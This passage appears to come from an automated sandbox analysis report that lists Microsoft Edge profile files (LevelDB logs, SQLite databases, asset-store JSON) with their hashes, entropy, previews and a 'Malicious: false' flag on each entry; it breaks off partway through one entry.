File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.226757512257419
Encrypted:	false
SSDEEP:	6:HU4HXJRM1N723oH+Tcwtp3hBtB2KLlVU4HXFVq2PN723oH+Tcwtp3hBWsIFUv:PRsaYebp3dFLpvVaYebp3eFUv
MD5:	C440564B3086564C231B2372EBD1C839
SHA1:	45E56A011AB8FC964F9C4852C20FABE167BB8089
SHA-256:	DE7DBB5904170599C3AC8E4BC22D79067EC0ECD04D1C987403FA747E63BBDBF4
SHA-512:	7DC82D649C8799E2407B8846B8A7AC85EBCB9A07729A7A88CCC16642A98C31784AFCDDB808A7560504B41CAAD2A76D68EBA7C85DA009E106B5929F1B21D005F9
Malicious:	false
Preview:	2024/11/12-04:37:24.707 1db4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/12-04:37:24.749 1db4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	739855
Entropy (8bit):	7.212335354514961
Encrypted:	false
SSDEEP:	12288:Rq1f5g+/pasT721JH7SgyIhkNEqeyZ/CSCqEzz5SaOP6Hc/k:q5gypasTWt7SgyfNEq1Z/jvQzEa32k
MD5:	220DEB9181CCC1A862FDDCE7E370E758
SHA1:	C0B2144B3605D9CBFEA4631CD1AF47ECA5944356
SHA-256:	1796B86413AD07ABE5BCA7A26E9B5859D99F4ACB5A4485153E58C48533C74701
SHA-512:	05060155B731C76A741571929273FB3CA5299A2F71627409023CA42CAA6D63EE76AAB5F1680EC7F3A2927065E55D4FFFCA8AFAB7377218EF277F1BC8A4A4A4FF
Malicious:	false
Preview:	....^.'..ASSET:addressbar_uu_files.en-gb........{. "0123movies.com": "{\"Tier1\": [983, 6061], \...2..L4948, 1106, 9972]}",.QL1020398.app.netsuiteR[.@6061, 8405, 5938]6b..228, 236.Z.337x.toB...J.983:C.86657, 475, 4068.JX2cvresearch.decipherincR....:X. 379, 6101.R<3817341.extforms....774..L3cx.integrafin.co.ukB.....,N.. 2863, 539...4540582....[:..1.., 6..P7589.directpaper.nameR..:Q.9I`7a201srvitportl.cymru.nhsN..:F..9870.J.03cjsvmifitla1vJ.AC:N..109]..7.N.livwebbvN..1a.JS...., 9813.. 8ballpoolV~. 741, 3907.8>...9151, 57E..91]5 9anime.gsB~.F'.,574, 485, 76....D.pl.D..?., 160=..EJ..:o....166V...gagR ..3939..>..<378, 44, 1780, 1....8a.leaguerepubliV..)u!.:...676, 899...aad.A..al.azur~..:Q..53...23.. 915, 8133...2}..aat.rm...isR..:W..223...42].Dabc-enviro.tascomiRJ..884>...40!N$4662, 5849=N4bdn.blackboardRQ..7670....:...80..$1240, 3047.].Terdeenshire.sharepointRf..5938.f.214Be..0...30}~.abmwapv..R..!..7662[..mwczK..14>.......cacd...mBt.J...117...(cademic.oupR..)..834AbF...246e)..!..q...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222882160399889
Encrypted:	false
SSDEEP:	24576:IbPMZpV3fI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpV3fx2mjF
MD5:	56B605E5976797FE9E4C50024717DDAF
SHA1:	B3C3863361D4DA2D6FA7BCB58C17F4B44065A7ED
SHA-256:	54483536CD675CF3446F91720C72F686FD3763599BF09F04BD156E4773B4A59E
SHA-512:	73AFDC9B73F8EBFB0C0222B325B1C38E03BCE96CF7EF40A88401F1AD822D3FD4F14E8480241AA945EE5333D70C521EB483267FBFC9611379B73CB16649078670
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	387
Entropy (8bit):	5.578725037036718
Encrypted:	false
SSDEEP:	6:t11g7Xzwk8FuVEinwk8RL6GzwkpoXrDVvskoafRUjGSIpO6gpXj8VW3AnY4n:tbo8Q8tDivx5/e9IM6NW3AVn
MD5:	C0D4DA10D7E81DD2DD4ECCD240A92E5F
SHA1:	96E3A59E8C74AD7556B8BAFE1F0D69DD74F9DD85
SHA-256:	2A10B3933CCFACFDC1C3F288C9E5DAD6FD1EA70D5F6674EEDD50C3E95EA3AB33
SHA-512:	425A318A6CB80E59E61D99A97EBAFA84F333FAFAE6FC10E33D68782E307944BCC55A1D09801804700603B2B1CF0616C8DCAFE260275C6A585DF503361FC757EB
Malicious:	false
Preview:	..\|.\|................QUERY_TIMESTAMP:addressbar_uu_files.en-gb1...13375878027107533.$QUERY:addressbar_uu_files.en-gb1....[{"name":"addressbar_uu_files.en-gb","url":"https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?assetgroup=AddressBar","version":{"major":1,"minor":0,"patch":2},"hash":"Z0h6vxfeYITPbRF/BVHpLTuo3HCwjRfTaFYDRReZ7yg=","size":403024}]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.109544817882378
Encrypted:	false
SSDEEP:	6:HU4Q5Vv31L+q2PN723oH+Tcwt9Eh1tIFUt8YU4Q5jV11Zmw+YU4Q7Qf0PXU4QRR3:+5yvVaYeb9Eh16FUt8d9h/+d7BmRRAKv
MD5:	B21EE30844C8AC12FC09B57981005FA4
SHA1:	8CE5891FAF6168778948726BA830D66D9CEA0562
SHA-256:	DB4B1CC62616416D7BE62A98F0D9F40ABE59B438AEAED9CB12AD8AC7683E15DC
SHA-512:	DD9AA42AB1AA06253024822D716D456A890B84BE6005152D142A99FCCA390CCE6DADA66C4FF1C9E396B18C0915C604E2EE6D0988CB1952D470C28BEE1F830105
Malicious:	false
Preview:	2024/11/12-04:40:25.062 a38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/12-04:40:25.064 a38 Recovering log #3.2024/11/12-04:40:25.158 a38 Level-0 table #3: started.2024/11/12-04:40:25.213 a38 Level-0 table #3: 739855 bytes OK.2024/11/12-04:40:25.220 a38 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.109544817882378
Encrypted:	false
SSDEEP:	6:HU4Q5Vv31L+q2PN723oH+Tcwt9Eh1tIFUt8YU4Q5jV11Zmw+YU4Q7Qf0PXU4QRR3:+5yvVaYeb9Eh16FUt8d9h/+d7BmRRAKv
MD5:	B21EE30844C8AC12FC09B57981005FA4
SHA1:	8CE5891FAF6168778948726BA830D66D9CEA0562
SHA-256:	DB4B1CC62616416D7BE62A98F0D9F40ABE59B438AEAED9CB12AD8AC7683E15DC
SHA-512:	DD9AA42AB1AA06253024822D716D456A890B84BE6005152D142A99FCCA390CCE6DADA66C4FF1C9E396B18C0915C604E2EE6D0988CB1952D470C28BEE1F830105
Malicious:	false
Preview:	2024/11/12-04:40:25.062 a38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/12-04:40:25.064 a38 Recovering log #3.2024/11/12-04:40:25.158 a38 Level-0 table #3: started.2024/11/12-04:40:25.213 a38 Level-0 table #3: 739855 bytes OK.2024/11/12-04:40:25.220 a38 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old~RF65aa5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.109544817882378
Encrypted:	false
SSDEEP:	6:HU4Q5Vv31L+q2PN723oH+Tcwt9Eh1tIFUt8YU4Q5jV11Zmw+YU4Q7Qf0PXU4QRR3:+5yvVaYeb9Eh16FUt8d9h/+d7BmRRAKv
MD5:	B21EE30844C8AC12FC09B57981005FA4
SHA1:	8CE5891FAF6168778948726BA830D66D9CEA0562
SHA-256:	DB4B1CC62616416D7BE62A98F0D9F40ABE59B438AEAED9CB12AD8AC7683E15DC
SHA-512:	DD9AA42AB1AA06253024822D716D456A890B84BE6005152D142A99FCCA390CCE6DADA66C4FF1C9E396B18C0915C604E2EE6D0988CB1952D470C28BEE1F830105
Malicious:	false
Preview:	2024/11/12-04:40:25.062 a38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/12-04:40:25.064 a38 Recovering log #3.2024/11/12-04:40:25.158 a38 Level-0 table #3: started.2024/11/12-04:40:25.213 a38 Level-0 table #3: 739855 bytes OK.2024/11/12-04:40:25.220 a38 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	148
Entropy (8bit):	5.452078578446786
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjFVKMs2RszAETD9WLHEjtlMaJgW6KC3Lntln:scoBY7jFVsmszwkjtlMogwatl
MD5:	D2F7CB6B532BF37CB1C0AAB516ABD383
SHA1:	09022C819C36E958147980FF0C118E8722B6C30C
SHA-256:	025DC90B10FB1FDC257505FBEAF27E0E2F85BF71A48A59BDCED72669F8541724
SHA-512:	6868DB06CA2E13B293E29CAF626FD76DA97BC807D30443C8B9ABCD9C6A8C4C0C2C015FA5C0D14D13281D66BC140C12DCAD9E4C540847CA92D44E6D3600D11897
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator....... ..d...............-'ASSET:addressbar_uu_files.en-gb........-QUERY_TIMESTAMP:signal_triggers1.13.*........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46289539703927796
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuQ2t:TouQq3qh7z3bY2LNW9WMcUvBuft
MD5:	D745F247D13D3236FB9703F9F93EF725
SHA1:	F5F1E6EF71DCFF89A6A3AD1D07179860BB57AAB9
SHA-256:	9C38EDF2FFB1D6250153C25398569FE1EE7E9768160265CAD24817B3557E5A2C
SHA-512:	9742EF4CE981BDD567B88C4589896DDD9A3C94A1989D4B5D184785EFC59E0FF0A0FBFCAF6AD0638C0A149E281F437503584903409A6145F3CD947E3BCFCF676C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0017443696761430011
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEjRmgKt/:/M/xT02zNgKt/
MD5:	537DF6FE6616FFECA23D8ED14FD0A1F4
SHA1:	B6C651218AAAF0732D978006508D3CEC3D7E1D5B
SHA-256:	9DE11996CF1F02F645FDE78A326427B6373BB0E26AEC74B541250D21CAD7F7E0
SHA-512:	781C6EB6AD84F9BDC0681D9F1481F581CAB791E8F10E2541B1FE1E571916BD8DD66DE4443D06E2A359429320F6610D9B60A7296D7A0D845978A7F932B6E97F50
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.1943569673692895
Encrypted:	false
SSDEEP:	6:HU4HF1vFlWM+q2PN723oH+TcwtnG2tMsIFUt8YU4HFY1Zmw+YU4HFvWMVkwON725:FvFlL+vVaYebn9GFUt89/+0LV5OaYebB
MD5:	463544334BC22E0DA96EDD570557A05A
SHA1:	42B21D3DC9ACF43D1E4575CB5891BA469CD6CCE2
SHA-256:	FB3CC9AE4FF9F5CDFBBFF7476D0A0C20DE144157C8CF6B2434B9AB7AC0A659D0
SHA-512:	EAF2B0C7ABDF93D45811A02F870F0E64678723255086D4FFF4861A69DF804A334099E3B62455C5C487E1059933AE7F69B897041A92800203766E2F9E058D27C6
Malicious:	false
Preview:	2024/11/12-04:37:19.616 1dac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/12-04:37:19.617 1dac Recovering log #3.2024/11/12-04:37:19.618 1dac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.1943569673692895
Encrypted:	false
SSDEEP:	6:HU4HF1vFlWM+q2PN723oH+TcwtnG2tMsIFUt8YU4HFY1Zmw+YU4HFvWMVkwON725:FvFlL+vVaYebn9GFUt89/+0LV5OaYebB
MD5:	463544334BC22E0DA96EDD570557A05A
SHA1:	42B21D3DC9ACF43D1E4575CB5891BA469CD6CCE2
SHA-256:	FB3CC9AE4FF9F5CDFBBFF7476D0A0C20DE144157C8CF6B2434B9AB7AC0A659D0
SHA-512:	EAF2B0C7ABDF93D45811A02F870F0E64678723255086D4FFF4861A69DF804A334099E3B62455C5C487E1059933AE7F69B897041A92800203766E2F9E058D27C6
Malicious:	false
Preview:	2024/11/12-04:37:19.616 1dac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/12-04:37:19.617 1dac Recovering log #3.2024/11/12-04:37:19.618 1dac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.613672551042309
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j/upaiemL:TO8D4jJ/6Up+G
MD5:	4FC6828144ED11E424C3F1CC5BAC9ABE
SHA1:	23171095041BF321817BB140AFB2AD26433C94E0
SHA-256:	FB371769C5B7EDD5D48BA1FA5AD5888AEE5EFA27DFAF11C3A77CA896AC136CD2
SHA-512:	1C315E23D66EF6E4B70E6DB275A8B5D02A6853FE397D3131E634E189A031572BFEA69C8DD89675EEF760D53DF0CD69BC6666D080DC1414C4B698BCF4EAB3348D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.3541484397443995
Encrypted:	false
SSDEEP:	6144:FA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:FFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	C3D1B292AED7FA8BB1049C5873DD4C76
SHA1:	DD71C211197800A192F7A89E63552AF603B6AB6A
SHA-256:	591C751F8EF13D54B26B74C056D82B87EFD95E5961B51920DBDD1167B3771F76
SHA-512:	32E40148CFB8AE31EBF077B7C94377A6E8E3714ACE2854B932FB0C0C1F103BA57860AD89974F8CC618161474487847632808A160EB6464CD8FA99E3FD47EC687
Malicious:	false
Preview:	...m.................DB_VERSION.1.H..q...............&QUERY_TIMESTAMP:domains_config_gz2...13375877845468532..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.1168865390906815
Encrypted:	false
SSDEEP:	6:HU4HXDGq1N723oH+Tcwtk2WwnvB2KLlVU4HXUVq2PN723oH+Tcwtk2WwnvIFUv:YaaYebkxwnvFLWVvVaYebkxwnQFUv
MD5:	A9DE5AA9B524243CCB839A779A91380E
SHA1:	A3C7965E6C582BD130DFDA4B99F1F280CF70675B
SHA-256:	56478637238C980D69735D7B37F2BCFF414713D8A424612D6E1D730D7D428E49
SHA-512:	D73F8F8C111B963BDCF20D07CE91E24656DC0607DB52D42F80D288EF79515958FAF8FF3C9478397B01B979FF7567D6B500C7B49DEFCDAE26BD2BE25A4BC0B690
Malicious:	false
Preview:	2024/11/12-04:37:24.510 20d0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/12-04:37:24.532 20d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324608349157779
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RS:C1gAg1zfvq
MD5:	3656F1909CF1404D107475D7D50A9AB1
SHA1:	70BE939A0D58D217CFFF0A3F2AB01C7C34893EE9
SHA-256:	BDC6CA3E57E468FB2C3C943FFCE31ACAFD6F7E271EB0E93B94B57EFA309074C1
SHA-512:	C26DD4B1370148048D43B0D47FF884C6E1DB535A148D17665D2E0EF1B8E8FECB98359BAA2B2528C9ECA1E3829F2EAB468ED43629C055EF9E92C2C364227CCE9B
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.141409773009617
Encrypted:	false
SSDEEP:	6:HU4HFm9WM+q2PN723oH+Tcwt8aPrqIFUt8YU4HFmfz1Zmw+YU4HFmflWMVkwON77:29L+vVaYebL3FUt8DfZ/+DflLV5OaYeo
MD5:	034F3C4EA674B9E7AEFC786994356AF5
SHA1:	6C46C3880079712E6DB544FE9EE0581716D17D90
